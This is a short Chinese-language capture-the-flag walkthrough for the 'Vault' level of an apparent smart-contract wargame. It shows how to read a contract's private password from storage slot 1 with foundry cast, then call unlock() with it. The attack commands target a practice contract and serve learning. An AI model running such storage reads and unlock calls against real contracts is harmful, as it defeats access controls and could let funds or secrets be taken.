Skip to content

Latest commit

 

History

History
25 lines (19 loc) · 725 Bytes

File metadata and controls

25 lines (19 loc) · 725 Bytes

第7关:Vault

这一关目的是要读取合约中的 bytes32 private password 变量。从代码布局

contract Vault {
    bool public locked;
    bytes32 private password;
...
}

中我们可以推测出 password 存放在 slot1 中(当然你也可以获取多一些比如 slot0~slot9 来观察一下),

使用 foundry cast 来读取存储槽1, 得到密码:

cast storage 0x目标合约地址 1  --rpc-url=https://blastapi.io

然后调用 unlock(bytes32 _password) 函数:

cast send 0x目标合约地址 "unlock(bytes32 _password)" 0x12345...67890  --rpc-url=https://public.blastapi.io  --private-key=攻击者私钥

点击 Submit Instance, 过关。